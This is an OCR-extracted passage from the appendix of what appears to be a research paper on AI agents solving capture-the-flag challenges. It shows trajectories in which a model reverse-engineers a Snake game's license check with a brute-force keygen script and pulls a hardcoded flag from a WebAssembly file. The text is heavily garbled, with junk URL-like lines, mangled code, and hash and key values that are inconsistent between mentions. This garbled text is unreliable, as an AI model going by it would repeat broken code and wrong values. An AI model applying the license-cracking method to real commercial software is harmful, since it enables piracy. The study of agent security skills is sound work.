3. Decompile the binary: Using the built-in decompi le interface, the agent inspects the decompiled ma in and va i idatee date__ieeeseee functions. The logic reveals that the program checks for an exact length of 16 characters and then processes each character through series of complex bitwise operations, comparing the result against an expected hash array.
4. Identify the expected hash: Through deeper inspection of the binary (beyond decompila- tion), the agent extracts the 16-byte hash used for validation: 011 95 66 3E 1B 56 64
2C 28 DA 9A 04 AD OC C8 D9.
5. Understand the transformation algorithm: The validation algorithm applies a sequence of left and right bit-shifts, XORs, ORs, and bitwise NOT operations on pairs of characters. The result is compared byte-by-byte to the expected hash array.
6. Implement
reverse-engineering script: The agent creates a Python script, solve_licents py, to brute force input characters order find matches for each hash byte. The script attempts to reverse the validation transformation logic by simulating forward on all printable ASCII character pairs and selecting valid pairs.
7. Run the script and recover the key: Upon execution, the script outputs the correct license key: 1oov3o ddArc4de!!
8. Submit the flag: Since the challenge is based on the license key being accepted, and the string "License Key Accepted!" is shown in the binary, the agent submits the discovered license key the flag and successfully solves the challenge.
This challenge highlights how reverse engineering techniques such string analysis, decompilation, and symbolic emulation of bit-level logic can used effectively to recover validation secrets even from stripped Windows binaries.
CTF Challenge
We're currently solving the following CTF challenge. The CTF challenge is aev problem named "Snake License", worth 300 points. description
93

---

software Published as a conference paper at ICLR 2026
We're currently solving the following CIF challenge, The CIE = challenge a rev problem named "Snake License", worth 300 points. The description is:
Analyze and reverse engineer this Snake game binary. The game requires a valid 16-character license key to run, Find the correct license key by analyzing the license checking algorithm.
Files included in the challenge: ['sna
INSTRUCTIONS:
Now, you' 're going salve this challenge your Your verminal session has started and you're in the challenge's directory. You can use any bash commands or the special interface to help you.
Solve the challenge, executing any commands any code that may be helpful. You can also install the container using "apt-get install', or Python packages - with "pip install".
need and writing
Remember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command.
when you think you have found the flag, you submit your solution by simply running the submit command.
Note however that you cannot use any interactive session commands
(e.g. python, vim) in this environment, but you can write
scripts and run them. E.g. you can write python script and then it with "python <script_name>.py"
NOTE ABOUT THE EDIT COMMAND: Incentation really matters! When editing file, make sure to insert appropriate indentation before each line!
IMPORTANT TIPS:
1. When you edit an existing file, try to minimize the changes make to the file.
2. Please make sure that you make use of the interactive teels supplied to you! In any case, if you want to run blocking commang like neteat (nc), please minimize the time by limiting its run time, for example using the "-w" flag of with timeout of seconds "nc w55 127.0.0.1 80".
3. Try to AVOID brute force attacks, but when you encounter brute force attack, please for the brute force instead of trying manual attempts.
script that writes output to STDOUT
4. Please DO NOT run commands in pythen or sage through the "-c" flag, you should create files instead.
5. Prefer using tools and commands available the container or other tools available online over writing a lot code or compli icated commands yourself.
In particulan prefer using "open" instead of "cat" and ssearch file" instead of "grep", and prefer using the interactive commands supplied you!
6. DO NOT run command that produces binary output! Instead try to use "hexdump" "xxd".
7. Please remember that the container exposed to the internet, so you can use whatever online resource you would like! Use it wisely!
94

---

Published as a conference paper at ICLR 2026
8. Do not use any interactive commands AT Abl! Interacti ve commands are only available through the commands supplied to you at the beginning make of them!
9. YOU CAN SOLVE THE CHALLENGES BY YOURSELF COMPLETELY TRUST YOU!
(Open file: n/a)
(Current directory: home MiM_____LLLTF__ataaaaaee Snake_Licenee (Interactive session: n/a) bash-$
Player Model
Let me start by analyzing this reverse engineering challenge. The name "Snake License" and description indicate it's Snake game that requires license key validation. Given it's a .xe file, it's likely a Windows executable.
First, should explore what files are available and examine the binary's characteristics. Let list the files in the current directory.
Initial thoughts and plans:
1.
Check the binary format and its properties
2. Look for any strings that might give clues about license
4 validation
3. Decompile the binary to understand the license checking mechanism
4. Analyze the validation algorithm
5. Create script to generate or find the valid license key
Let me start by listing the contents of the directory to cenfirm what we're working with.
18 -la
Terminal Model
total 1048
drwxI-xr-x root root 4096 Jan
2024
drwxr-xr-x root root 4096 Jan
2024
-rwxr-xr-x root root 1060864 Jan 1 2024 snake.ex: (Open file: n/a)
(Current directory: / home LLM_CTE, BFa_CCTFDDtaabaeeeee Snake License)
(Interactive session: n/a)
bash-$
95

---

Published as a conference paper at ICLR 2026
Player Model
httpss//cccfiine..rr//wttttt///
can see we have single Windows executable file called snake. exe
that 's about 1MB in size. Since this is a reverse engineering challenge focusing on license validation, I should first
examinc the file's characteristics and look for any interesting
strings or patterns.
Let me use the 'file" command to get more information about this executable.
file snake.exe
Terminal Model
httpp://cofftiiee.rr///rrttteppp
snake.exe: PE32+ executable (conscle) x86-64 (stripped), for MS
Windows
(Open file: n/a)
(Current directory: / home LLM LiM_CTF_aatabaee Snake License)
(Interactive session: n/a) bash-$
Player Model
http:://ccfftimm.orr//tttttttt/p
see this is a 64-bit Windows PE executable that's been stripped,
which means debugging symbols have been removed. Since we need
to analyze the license checking algorithm, and knew it takes 16-character key, let's first lock for any interesting strings in the binary that might be related to license validation.
One common approach in reverse engineering is to first lock for strings that might give us clues about the validation process, such as error messages or success messages related to license checking.
strings snake. exe strings_output.. txt
Terminal Model
http:://eeftiin..oo/vvrrteggg//
(Open file: n/a)
(Current directory: / home, (Interactive seasion: n/a) bash-$
Player Model
You're right, I apologize. Let me examine the strings we extracted by opening the output file.
open strings_output.txx
96

---

Published as a conference paper at ICLR 2026
Terminal Model
[File: stringe_ourput. (415 lines total)] ]
1: !This program cannot be run in DOS mode.
2: Rich
3: .text
4: rraaaa
5: .data
6: pddata
7:
8: reloc
9: H;-
10: Hi-
11: Hi=
12: E;=
13: =
14: =;=
15: Hj
16: H;-
17: H;-
18: H;-
19: =;=
20: H;-
21: H;-
22: E;
23: E;
24: E;
25: Hj
26: H;
27: H;
28: F;
29: F;
30: H;-
31: H;
32: E;
33: E;
34: ;;
35: H;
36: 1.j
37: E;
38: F;
39: E;
40: H;
41: H;
42: H;
43: F
44: E;-
45: H;
46: E;
47: E;
48: E;
49: H;
50: H;
51: H;
52: F;
53: E;
54: F
55: H;
56: H;
57: H;
58: E;
59: H
60: H;-
97

---

Published as a conference paper at ICLR 2026
61: E;
62: H;-
63: H;-
64: H;
65: H;
66: E;-
67: E;-
68: F
69: H;
70: H;
71: E;
72: F;-
73: H;-
74: H;
75: E;-
76: E;-
77: H;-
78: H;
79: H;
80: E;
81: F;
82: ;
83: H
84: H;
85: E;
86: E;
87: H;
88: H;
89: H;
90: E;
91: F;
92: E;
93: H;
94: H;
95: H;
96: F;-
97: H;-
98: F;-
99: =;=
100: E;=
(315 lines)
(Open file: strings_ootpput.txx
(Current directory:
Cwtaaaaaaaaaaeeeeeaaaaaaaaaeaeee Snake__na_e___e Lanake_licensse cense)
(Interactive session: n/a) bash-$
Player Model
http::///cccttim....rrvvvtttepp
lot of system-related strings, but need to scrcll down to find any strings related to the license validatien. me scroll down to see more mcaningful strings.
scroll_down
Terminal Model
[File: Ccrings__utput..oo txt 101: E;=
Displaying lines 101-200]
102: E;=
98

---

Published as a conference paper at ICLR 2026
103: H;=
104: Hj
105: H;
106: H;
107: H;-
108: =
109: =
110: 1;=
111: F;=
112: =
113: H;
114: F;
115: 1,;
116: Hj
117: =
118: H,
119: E;
120:
121: Hj
122: H;-
123: F
124: F;=
125: F;=
126: AUAVANH
127: -"1
128: UVRATACAVANH
129: _II
130: MATAUAVANH
131: -II
132: NAVANH
133: "II
134: AVANH
135: --1
136: --[
137: MATAUAVANH
138: _
139: UVWATACAVARH
140: -AD
141: MATAUAVANH
142: 171
143: WAVANH
144: -"I
145: UVWATAVANH
146: -II
147: MATAUAVANH
148: _
149: MATAUAVANH
150: _1[
151: UVWATACAVANH
152: _][
153: WAVANH
154: -II
155: MATAUAVANH
156: -]E
157: MATAUAVANH
158: 1I11
159: MATAUAVANH
160: -'I
161: MATAUAVANH
162: -I[
163: MATACAVANH
164: _'[
165: DWWATAUAVANH
99

---

Published as a conference paper at ICLR 2026
166: LILL
167: WATAUAVANH
168: --I
169: WAVAWH
170: -II[
171: MATACAVANH
172: _
173: MATACAVARH
174: _-[
175: UWWATACAVANH
176: -"]
177: WATALAVANH
178: _-[
179: WATAUAVANH
180: -011
181: UYRATACAVANH
182: -11
183: WAVAWH
184: -"I
185: WATAUAVANH
186: _
187: WAVANH
188: [
189: MATACAVANH
190: -
191: MATACAVANH
192: _"I
193: WATAUAVANH
194: -II
195: UVNATACAVANE
196: "1I
197: WATAUAVANH
198: -"[
199: MATAUAVANH
200: _
(215 more lines)
(Open file: strings_outputt.ca
(Current directory: / home LLM_CTF _ara_aaaaaaseeee Snake Liikee__Lieee cense)
(Interactive session: n/a) bash-$
Player Model
mostly system-related strings and function names, but need to continue scrolling find any meaningful strings related license validation or error messages. Let 's seroll down further.
scroll_down
Terminal Model
le:le:
strrings_outpu..te
DDisplaying 1 lines 201-300]
201: WATAUAVAWH
202: _"]
203: UWWATACAVANH
204: _"[
205: MAVANH
206: [
100

---

Published as a conference paper at ICLR 2026
207: MATACAVANH
208: -"I[
209: WATAUAVANH
210: -II
211: MATAUAVANH
212: _
213: UVRATACAVARH
214: [][
215: WATACAVANH
216: -I]
217: MATACAVANH
218: _
219: WATAUAVANH
220: _II
221: UWNATACAVANH
222: 1-1
223: MAVANH
224: --[
225: MATACAVANH
226: -I]
227: WATACAVANH
228: _][
229: WATACAVANH
230: _
231: WATAUAVANH
232: _"[
233: UVWATAUAVANH
234: -"I
235: WAVAWH
236: _711
237: MATAUAVANH
238: _II
239: MATACAVANH
240: -"[
241: UVRATACAVANI
242: _][
243: WAVANH
244: -"I
245: MATAUAVANH
246: _11L
247: MATAUAVANH
248: _"I
249: WATAUAVAWH
250: -
251: MATAUAVANH
252: _
253: MATAUAVANH
254: _
255: UVWATACAVANT
256: _
257: MATACAVANH
258: _II
259: UVWATACAVARH
2660 _][
261: MAVANH
262: 1"1I
263: MATAUAVANH
264: _'I
265: MATAUAVANH
266: -][
267: MATACAVANH
268: _'[
269: DWWATAUAVANH
101

---

Published as a conference paper at ICLR 2026
270: 171L
271: WAVAWH
272: -0I
273: WATAUAVANH
274: -"][
275: MATACAVANH
276: _"]
277: MATACAVANH
278: _-]
279: UWWATACAVANH
280: -"1
281: WAVANH
282: [
283: WATAUAVANH
284: 1'11
285: WATACAVANH
286: 1"11
287: WATACAVANH
288: --I
289: UWWATACAVANH
290: _
291: WAVANH
292: _
293: MATACAVANH
294: _"]
295: MATACAVANH
296: _"I
297: WATAUAVANH
298: -1I
299: MATAUAVANH
300: _-1
(115 lines)
(Open file: strings_output.txe
(Current directory: / _tt.:e_iii.c.ppptttteeoooo.aaaaa
(Interactive session: n/a) bash-$
Player Model
httpe://eeffiine.rr///wicap////
we're still getting lot of system-related strings and function names. Let me scroll down one more time to see we can find any meaningful strings related to the license vali validation, error messages, or game-re ated text.
scroll_down
Terminal Model
http:://ccftiine.orr/rrrrtgggugp
[File: strings stringe_ourput.co wwwppoutttttt.....e Displaying lines 301-400]
301: UVWATAUAVANH
302: _"]l
303: WAVAWH
304: _'I
305: MATAUAVANH
306: _"I
307: MATAUAVANH
308: _][
309: MATAUAVANH
310: [
102

---

Published as a conference paper at ICLR 2026
311: MATACAVANH
312: -"I(
313: UVWATAUAVAKH
314: _"I
315: WAVANH
316: -
317: WATACAVANH
318: _-[
319: WATACAVANH
320: -I][
321: WATACAVANH
322: _
323: WATAUAVANH
324: _II
325: UWNATACAVANH
326: 1711
327: MAVANH
328: [
329: MATACAVANH
330: -I]
331: WATACAVANH
332: _
333: UVWATACAVANH
334: _"[
335: WAVANH
336: _
337: WATALAVANH
338: -"I
339: WATAUAVAWH
340: _711
341: UVRATACAVARH
342: _11
343: WAVANH
344: -"[
345: MATAUAVANH
346: _"[
347: Please
your 16-character license key: 348: Error: Invalid license key length. Must be 16 characters.
349: Invalid License Key!
350: License Key Accepted! Welcome to Snake Game!
351: Fress any key to continue...
352: Game Over! Your score: èd
353: High score: $d
354: Enter to play again:
355: KERNEL32.d11
356: GetLastError
357: GetMoöuleHandlee
358: GetProcAddress
359: GetsysttmmIIncksFleTTiie
360: InitiallzeStisstHead
361: IsDebugge:Present
362: Loadı.bbrary
363: queryleeformanneCCotter
364: setunhanndlddkxxeettiooiii
365: Sleep
366: TerminateProcess
367: Dnhancdleldxcceriiiiiileee
368: op--aa-iiroootecc0oll-11111..110
369: ReadConsolew
370: WriteConsolew
371: 1p1
372: sgr-aeewiiccceeerrtttnallle----.
373: ao-ma-/hhhoore-fiiee-1---.......
103

---

Published as a conference paper at ICLR 2026
374: abf-e=wiircooo-------1-11--..1
375: Getriletype
376: agrma-siiccorrehaoo-------..00.0
377: closetanndlee........
378: abtma-_wiircorrehhpp---------1.:
379: GetProcessHeap
380: HeapAlloc
381: ReapFree
382: op-mewwwicooee--heeelll---------
383: ob-re-=wtroo---lppyyy00--------1
384: ag-maavwircrrrrr000001111111111.
385: Set
386: o0
387: prrmaaaiiirrrrpppsssssee/eeeeeea
388: GetStaHancle
389: sprraaeeiircrrrppppstttaaaaa---.
390: GetCurrenttPoceess
391: GetCurrenttPooces5ld
392: GetCuzrentthreaddd
393: GetStartuupinio
394: agrra==xiirroreppppie--------:-:
395: sgi-a=xwiicccerr-tttappo-------.
396: RtlLocckupPuncttioonnnttttyy
397: RtLVirtuallnnwindd
398: gp:-a-rwwiicorrrtstii----------0
399: ag:-ma-wwinccarrpppphh-11111-1.-
400: agi-nmawiin-oorr-eppp-1-------00
more lines)
(Open file: strings__otppt..xt))
(Current directory: home LLM CTF, _ Snake License)
(Interactive session: n/a) bash-$
Player Model
http:://eefftiim.oor///vrettttte
Ab, now we've found some very interesting strings! Between 1ines
347-350, we can see the key messages related to license validation:
1. "Please enter your 16-character license key:"
2. "Error: Invalid license key length. Must be 16 characters."
3. "Invalid License Key!"
4.
"License Key Accepted! Welcome to Snake Game!"
This confi rms that we're dealing with license validation that:
Requires exactly characters
Has some validation logis beyond just length checking Provides clear success/faille messages
since this is Windows executable, and need to understand the
license checking algorithm, I should decompile to analyze the validation logic. Let's use the decompile command to look at the main function first.
decompile snake. exe
Terminal Model
http:://ccttiii..oo//rrrieeppp/
(Open file: n/a)
(Current directory: homo LtA.LCCFF..aaaaaae___aaaeeeeeeee
104

---

Published as a conference paper at ICLR 2026
(Interactive session: n/a) bash-$
Player Model
You' re right, let me check the aecempiled output first.
open decomp led_output.ooxx
Terminal Model
http:://cdffiim...r///tttttpp
[Fi le: decompi led_output. (2453 lines total)]
1: Function main
2: main (undefined8 param
3:
4: char plicense_inpurs input;
5: int score;
6: int high_score;
7: bool valid_koy;
8: char play_again;
9:
10:
license_input (char +) malloc (17);
11:
12:
// Get license key from user
13:
enter your 16-character license key: "); scanf ("$16s", licensejinput);
14:
15:
16: // Check license key length
17:
if [strlen(license) (licenseeinnntttee input) != 16) I
18: printf("Error) ("Error: Invalid license key length. Must be 16
characters. An")) \n");
19: free (License__in))))))
20:
return 1;
21:
22:
23:
Validate license key
24:
valid_key salidate_licensee (1 iccnse_input)
25:
if [Ivalid_key] {
26:
printf ("Invalid License Key!\n");
27:
free (Licensee_ippuu
28:
return 1;
29:
30:
31: printf ("License Key Accepted! Welcome to Snake Game! \n");
32:
printf ("Press any key to continue... \n"); getchar()) ()) getchar() ())
33:
34:
35:
36:
high_score 0;
37:
{
38: score pl play_game//
39: printf ("Game Over! Your score: id'n", score)
40:
if (score high_score) {
41:
high_scose score;
42:
43:
printf ("High score: saln", sior_score);
44:
45:
printf ("Enter to play again: ");
105

---

Published as a conference paper at ICLR 2026
46: scanf (" sc", 4
47: while (play_again 'Y' II play_again "
48:
49:
free (Leicense_innput)
50:
return
51:
52:
53: Function validate_license 1icense
54: validate_llcense (char *licensc)
55:
56: size_t sVarl;
57: byte bVar2;
58: byte bVar3;
59: byte bVar4;
60:
local 14;
61:
byte +pbVarb;
62:
byte *pbVar6;
63: byte bVar7;
64: byte bVar8;
65: byte bVar9;
66:
67: sVarl strlen(iicense)
68: if (sVarl == 0x10)
59: pbVar5 (byte *) license;
70:
pbVar6 hashh
71:
1ocal_14 = 0;
72:
while (1ecal_14 0x10) {
73:
bvar2 *pbvar5;
74:
bvar? bvar2;
75:
bVar3 pbVar5[1l;
76:
bVar8 (byte) ((char) bVar3 << 6)
77:
bVar4 (byte) (char) 21;
78:
bvar bVar8 bvar4;
79:
bVar bVar9 ^ 0xac;
80:
bVar8 (byte) ((char) bvar9 >> 3);
81:
bVar3 (byte) bVar << 5)
82:
bVar3 bVar8 bVar3;
83:
bVar3 bVar3 0x66;
84:
bVar8 (byte) (char) bVar3 1);
85:
bVar4 (byte) ((char) WVar3 << 7);
86:
bVar9 (byte) (char))Var? 4);
87:
bvar4 bvar9 bvarr;
88:
bvar4 bvar4 bvar8;
89:
bVar4 ~bVar4;
90:
bVar4 bVar4 bVar7;
91:
if (bVar4 != +pbVaré)
92:
return false;
93:
94:
bVar4 = ~bVar4;
95:
local local
96:
pbVar5 pbVar5 1;
97:
pbVar6 pbVar6 1;
98:
99:
return true;
100:
(2353 more lines)
(Open file: decompiled output..ttttttt
(Current directory: /_home______ /__hme__iiM__Ce Daa _nnse__iiceeeeee (Interactive session: n/a)
bash-$
106

---

Published as a conference paper at ICLR 2026
Player Model
https://ccftiin..orr/vvreeee///
Looking at the decompiled code, I can see the key validation logic license" function. The important parts I
in the
notice:
1. compares against an "expected array
2. Each character goes through a series of bitwise operations:
left/right shifts
XOR operations with constants (0xae, 0x66)
NOT operations
The algorithm processes pairs of characters together
we need to see the "expected_hash" array values. Let me scroll down to find where it's defined or any other relevant functicns.
scroll_dom
Terminal Model
httpe://eefftimm.oor//rrre/p///
[File:
Displaying lines 101-200]
101: return false;
102: }
103:
104: Funetion play_game
105: play-game ()
106: {
107: // Snake game implementation not relevant for license
check
108: int score - 0;
109: bool game_oven false;
110:
111: Initialize game board
112: Lest_ggam_bboaxe
113:
114: while (!game_over)
115: // Game logic
116: Sheck_collisione ();
();
117:
118: update_score (&score)
119:
draw gane board();
120:
121:
// Check game should end
122:
if (coliision_detettei]]
123:
game_ over = true;
124:
125:
126:
// Delay between frames
127:
Sleep (100);
128:
129:
130: return score;
131: )
132:
133: Function
134: init init_game board
game
135:
136: // Initialize game board state
137: // Not relevant for license check
138: )
107

---

Published as a conference paper at ICLR 2026
139:
140: Function
141: update_snake ip ()
142:
143:
update snake position based en current direction
144:
Not relevant for license check
145:
146:
147: Function check_collisions
148: chock_collisions
149: {
150: // Check for collisions with walls or self
151: // Not relevant for license check
152: }
153:
154: Function update_ score
155: update_sco score (int *score)
156:
157:
Update game score
158:
// Not relevant for license check
159:
160:
161: Function braw_game__s war__gamebbbrrro board
162: draw_game_board ()
163: {
164: // Draw current game state
165: // Not relevant for license check
166: }
167:
168: Function collision detected
169: beliiisionnddetettee ()
170:
171:
Check if collision occurred 172: // Not relevant for license check
173: }
174:
175: // Expected hash array
visible in decompilation but
4 present in binary
176: // Values determined through analysis:
177: // 01 95 66 3E 1B 56 64 2C 28 0A 9A 04 AD 0C c9 D9
178:
179: Function validate_ licttsellceeeeeettee
180: valicate_license__ee _tep (byte input_charl, byte input_char2)
181: {
182: byte result;
183:
184: // Step 1: Process second character
185: result = input__caart << 6; // Shift left 6 bits
186:
result == input_char2 >> 2; // Add shifted right 2 bits
187:
188:
step 2: XOR with constant result 0xAE;
189:
190:
191:
// Step 3: Further bit man manipulation
192:
byte temp result result (result << 5) temp;
193:
194:
195:
// Step 4: XOR with another constant result -= 0x66;
196:
197:
198:
// Step 5: Final bit manipulations temp result >> 1;
199:
200:
byte temp2 result << 7;
108

---

Published as a conference paper at ICLR 2026
(2253 more lines)
(Open file: 1etmmppped___upuuuteeeee
(Current directory: / Lt__a__CCC__Paaaaae_____aeeeeee (Interactive session: n/a) bash-$
Player Model
http:://ccftiin.ooo///rrtoog///
Great! found crucial information:
1. The expected hash values are revealed in 1ine 177: 101 95 66 3E
1B 56 64 2C 28 UA 9A AD 0C c8 D9"
2. The valication algorithm processes characters pairs
3. The specific steps of the algorithm are visible in "validate_liceese_sei"
We need write script that reverses this algorithm. Given the complexity of the bitwise operations and the fact that we need to process pairs of characters, I'll create a Python script to brute force the solution.
Let me create Python script that will try to reverse the operations:
create solve_license.
Terminal Model
hatta://ccfttiee.oor//rrtttp///
[Pile created: solve_1 1 wicciiceeeepyy
(Open file: solve_lices lilcenneeep)))
(Current directory: / home LLM_CTE Ca___TTa_aa_aa__eeeeaaa Snake License) (Interactive session: n/a) bash-$
Player Model
http::///eeftiii..orr/gwvttttttp
I'll now eait the script implement the reverse algorithm. The key insight is that we need to work backwards from the expected hash values and reverse each bitwise operation.
edit 1:1
#/ust/bin/env python3
Expected hash from binary hxpected_hash [0x01, 0x95, 0x66, 0x3E, 0x1B, 0x56, 0x64, 0x2c, 0x28, 0x0A, 0x9A, 0x04, 0xAD, 0x0c, 0xc8, 0xD9]
def saterr__vvadddeee_tptttrrrgge
next_char=None):
possible_chare = [] Try all possible ASCII characters for e range (32, 127): printable ASCII range char $ Try all possible next characters if we re processing pairs
for
in range 127) if next_ char is None else [next [next_char]: # Replicate the validation algorithm
bvar? = char & OxFF
bvar3 next_s OXFF
109

---

Published as a conference paper at ICLR 2026
bVar8 (bVar3 6) OXFE
bvar4 (bvar3 >> 2) OXFF
bVar (bVar8 bVar4) ) & OXFF
bvar9 - 0XAE
bvar8 (bvar9 3) OXFF
bVar3 (bVar9 << 5) OxFE
bVar3 = (bVar8 bVar3) & OXFF
bVar3 ^= 0x66
bVar8 (bVar3 >> 1) OXFF
bVar4 (bVar3 7) OxFF
bvars (bVar7 >> 4) & OXFF
bVar4 (bVar9 (Var4) & OXFF
bVar4 (bVar4 bVar8) & OXFF
bVar4 (-bVar4) OXFF
result (bVar4 'Varr)) OXFF
if result == target hash:
possible_chars.de append (chr (char), chr (next_c)))
return possible_chars
def find license_kky())
result
need find pairs of characters that generate our target hash
for i in ronge 16, 2):
chars revers__vlliiaeesstee base (expected_hash(i) if chars:
result.append (chars [0] [0] [0]) # Take first possible char if i+1 16: # Make sure we don't go out of bounds next chars
reverse reverse_valicate validate step (expected hash [i+l], (cd(())
if next_chars:
result. (chars [0] [1])
return " (result)
if name = main ";
license_ker key = license
print (I"Found license key: (License_key]* end_of_edit
Terminal Model
httpe://ccttiine.rrr/r/rtttpppp
File updated. Please review the changes and make sure they are correct (correct indentation, duplicate lines, etc), Edit the file again if necessary.
[Showing lines 1-54 with context.
1: #!/usr/in//en lnv python3
2:
3: Expected hash from binary
4: expected_ hash [0x01, 0x95, 0x66, 0x3R, 0x18, 0x56, 0x64, 0x2c, 0x28, 0X0A, 0x9A, 0x04, 0xAD,, 0x0c, 0xc8, 0xb9]
5:
6: def reverse validate step (target hash, next char=None):
7: possible chars 1]
8: Try all possible ASCII characters
9: for in range (32, 127): $ printable ASCII range char
10:
110

---

Published as a conference paper at ICLR 2026
11:
Try all possible next characters if we re processing
pairs
12:
for next_e in range (32, 127) if next_char is None else
Inext_chare
13:
Replicate the validation algorithm
14:
bVar7 char OxFF
15:
bVar3 next_c & OxFF
16:
bVar8 (bVar3 << 6) OXFF
17:
bVar4 (bVar3 >> 2) OXFF
18:
bVar9 (bVar8 bVar4) OXFF
19:
bvar9 OXAE
20:
bVar8 (bVar9 >> 3) & OXFF
21:
bVar3 (bVar9 << 5) OXFF
22:
bVar3 (bVar8 bVar3) OXFF
23:
bVar3 0x66
24:
bVar8 (bVar3 >> 1) & OxFF
25:
bVar4 (bVar3 << 77 OXFF
26:
bVar9 (bVar7 >> 4) OXFF
27:
bVar4 (bVar9 bvar4)
OXFF
28:
bVar4 (bvar4 bVar8) & OXFF
29:
bVar4 (-bVar4) & OxFF
30:
result (bVar4 bVar7) OXFF
31:
32:
is result target_hash:
33:
possible_chars. append (chr (char), chr (next_c)) )
34:
35:
return possible_chars
36:
37: def find_licentn fine_license_key[
38:
result = II
39: + We need to find pairs of characters that generate
target hash for
40:
range (0, 16, 2): chars severse_valicate_tteee (orpetcchhhctt if chars: result. [chars[(]] [0]) # Take first pessible
41:
42:
43:
char
44:
i+1 16:
Make sure we don't 't go out of bounds
45:
next_chare
wwwerse_valddee __tepp_seep___eeee
iroerse_validate_sepeeeeeeeee (ttpeeeeeeed_labbll (cd (1)))
46:
if next_chare,
47:
result.append (chars [0] [1])
48:
49:
return " ".join (result)
50:
51:
if
main
52:
license_ked find license_ceeyy key
53:
print (F"Found license key: (License_key)
54:
(Open file: solve_ livve_liccnse.y" (Current directory: / (Interactive ive session: n/a) bash-$
111

---

Published as a conference paper at ICLR 2026
Player Model
The script looks good with proper indentation, Now let run it to find the license key. Since it's trying to reverse engineer the validation algorithm by testing all printable ASCII characters and matching against the expected hash values, it shculd give
us valid license key.
python3 solve license.py
Terminal Model
http:://ccttiine.xr//rrrrrpppppp
Found license key: ILovooldArc4de!!
(Open file: holve_license..
(Current directory: / Tomoo_m___ (Interactive session: n/a) bash-$
Player Model
httpp:///ccftiiie..rr///tttttppp
Great! found what appears
valid license key:
"11.0v301 dArc4de!!! 'he key makes sense as it's:
1. Exactly 16 characters long
2. Contains mix of uppercase, lowercase, numbers, and special characters
3. Forms a readable phrase "I Love old Arcade!!" (with some leetspeak)
Let's submit this flag verify it's correct.
submit 'ILo33oldhrc4de!!
H.5 TRAJECTORY ANALYSIS OF WASMRABY CHALLENGE
The Web challenge "Wasmbaby" from the UTUCTF competition presents a minimal WebAssembly- based web server that we must analyze to retrieve the flag. The challenge provides single file, index. wasm, and allows access to remote server running the WebAssembly module at wasmbaby uiuc. ff port 80.
The agent successfully solves the challenge through the following steps:
1. Locate and examine challenge files: challenge directory and confirming that index. wasm valid WebAssembly binary module.
The agent begins by listing the contents of the
2. Install tooling to analyze wasm: Since WebAssembly is binary format, the agent installs the wabt toolkit, which includes wasm2wat for converting wasm binaries to human- readable text format (WAT).
3. Convert wasm to WAT and analyze statically: Using wasm2wat. the agent converts the wasm module to a WAT representation. By inspecting the resulting index. wat, the agent identifies memory initialization logic storing values offsets starting from 1024, and complex function that verifies a sequence of values through nested blocks and conditional branches.
4. Understand the control flow logic: The validation function (indexed as func 1) appears verify that each value loaded from an input array matches values stored memory
112

---

Published as a conference paper at ICLR 2026
locations (024-1055, These checks done in reverse order, suggesting the flag may be hardcoded memory.
5. Use wasm-objdump to inspect memory contents: To identify what values were stored those memory locations, the agent uses wasm- ob objdump s to print the memory section of the wasm file. The data section reveals plaintext flag stored directly in the module: ui uiuctÉ (welcome_to_wast
6. Submit the flag: Having confirmed the plaintext flag in memory, the agent submits the correct flag and completes the challenge.
This challenge showcases a beginner-friendly example of reverse engineering wasm binary by statically analyzing memory operations and understanding WebAssembly control flow. The flag being directly embedded in memory also highlights the importance of avoiding hardcoded secrets in deployed wasm modules.
CTF Challenge
We're currently solving following CTF challenge.The CTF challenge problem named "Wasmbaby", worth 50 points. The description is:
We currently solving the following CTF challenge. The CTF challenge a web problem named "Kasnbaby", worth 50 pcints. The description is: wasm's 's cool new technology!
Files included in the challenge: ('index.wasm')
The challenge web server running on wasmbaby www..uhuc................ uiuc. port 80 and you can access it from within the container environment using connect_stare wasmbaby. wasmbaby.chal. www..chhh............. uf 80
INSTRUCTIONS:
Now, you' re going to solve this challenge on your own. Your terminal session has started and you' re in the challenge's root directory. You can use any bash commands the special interface help you.
Solve the challenge, executing any commands you need and writing any code that may be helpful. You can also install new software in the container using "apt-get install', or Python packages with "pip install".
Remember, YOU always wait for feedback after every command.
ONLY ENTER
COMMAND
TIME. shculd
when you think you have found the flag, you can submit your
solution by simply running the submit command.
Note however that you cannot
any interactive session commands
(e.g. python, vim) in this environment, but you can write
scripts and run them. E.g. you can write python script and then run it with "python <script_name>.py"
NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line!
IMPORTANT TIPS:
1. When you edit an existing file, try to minimize the changes you make to the file.
2. Please make sure that you make use of the interactive tecls supplied to you! In any case, if you want to blocking
command like netcat (nd), please minimize the time by limiting its run time, for example using the "-w" flag of ne with 80".
tineout of seconds "ne -w5
113

---

Published as a conference paper at ICLR 2026
3. Try to AVOID brute force attacks, but when you encounter brute force attack, please use a script that writes output to STOOUT for the brute force instead of trying manual attempts.
4. Please flag, you should create files instead.
run commands pythen or sage through the "-c"
5. Prefer using tools and commands available in the container or other tools available online over writing lot of code complicated commands yourself.
In particular, prefer using "open" instead of "cat" and "search_ file" instead of "grep", and prefer using the interactive commands supplied to you!
6. DO NOT run any command that produces binary output! Instead try to use "hexdump" or "xxd".
7. Please remember that the container is exposed to the internet, so you can use whatever online rescurce you would like! Use wisely!
8. Do not any interactive commands AT ALL! Interactive commands are only available through the commands supplied you the beginning make use them!
9. YOU CAN SOLVE THE CHALLENGES BY YOURSELF COMPLETELY - TRUST IN YOU!
(Open file: n/a)
(Current directory: / home LLM_CTE CTF_Database Masmbaby) (Interactive session: n/a) bash-$
Player Model
http:://oefff..ee.orr//rrtttpppp
Let me analyze this challenge first:
1. It's a web challenge involving RebAssenbly (Masm)
2. We have an Index.wase file
web server running wasmbaby. wha..uiuc.tf:f.. 4. The name "Wasmbaby" suggests it might be beginner-friendly
3. There's
- Wasm challenge
Initial plans:
1. Pirst, examine the index. wasm file to understand its structure and content
2. Try to decompile/anslyze the wasm file to understand its functionality
3. Check if there are web interactions needed
4. Look for potential hidden functions or flags in the code
Let mo start by examining what files we have in the current directory and checking their properties.
-la
Terminal Model
https://daffiine.orr/vvrrttyyppp
total 16
drwxr-xr-x root root 4096 Jan 1 12:00
114

---

Published as a conference paper at ICLR 2026
dIwxI-xF-x root root 4096 Jan 1 12:00
-rw-r--r-- root root 3274 Jan 1 12:00 index. wasm (Open file: n/a)
(Current directory: /omee LLM_CTF_ Bai___CT_aatabee___Wa Wasb_aaasmbbb (Interactive session: n/a) bash-$
Player Model
https:://ctftiimm..r///rtttteee
